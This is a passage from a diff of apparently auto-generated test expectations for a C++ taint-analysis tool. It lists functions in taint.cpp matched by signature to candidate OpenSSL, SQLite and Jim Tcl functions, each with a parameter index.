taint.cpp:4:6:4:21 | arithAssignments | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | BN_security_bits | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | BN_security_bits | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_MD_meth_new | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_PKEY_meth_new | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | acttab_alloc | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | acttab_alloc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:22:5:22:13 | increment | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ASN1_tag2str | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | Jim_SignalId | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | PKCS12_init | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | Symbol_Nth | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ossl_tolower | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ossl_toupper | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | sqlite3_errstr | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | tls13_alert_code | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ASN1_tag2str | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | Jim_SignalId | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | PKCS12_init | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | Symbol_Nth | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ossl_tolower | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ossl_toupper | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | sqlite3_errstr | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | tls13_alert_code | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_tag2bit | 0 | +| 